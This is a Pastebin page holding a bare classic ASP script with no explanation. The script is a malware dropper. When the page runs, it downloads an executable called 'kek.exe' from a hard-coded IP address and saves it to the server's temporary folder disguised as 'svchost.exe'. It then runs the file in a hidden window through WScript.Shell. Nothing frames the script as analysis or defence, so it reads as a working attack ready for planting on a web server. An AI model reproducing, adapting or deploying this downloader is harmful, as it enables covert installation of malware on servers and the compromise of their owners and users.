Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <%
- Dim objX: Set objX=Server.CreateObject("MSXML2.ServerXMLHTTP")
- Dim objT: Set objT=Server.CreateObject("ADODB.Stream")
- Dim objS: Set objS=Server.CreateObject("WScript.Shell")
- Dim objF: Set objF=Server.CreateObject("Scripting.FileSystemObject")
- Dim TEMP: Set TEMP=objF.GetSpecialFolder(2)
- objX.Open "GET","http://104.248.188.76/kek.exe",False
- objX.Send
- Do While objX.Status=200 And objX.ReadyState=4
- With objT
- .Type=1
- .Open
- .Write objX.ResponseBody
- .SaveToFile TEMP&"\svchost.exe",2
- End With
- Exit Do
- Loop
- objS.Run Chr(34)&TEMP&"\svchost.exe"&Chr(34),0,False
- %>
Add Comment
Please, Sign In to add comment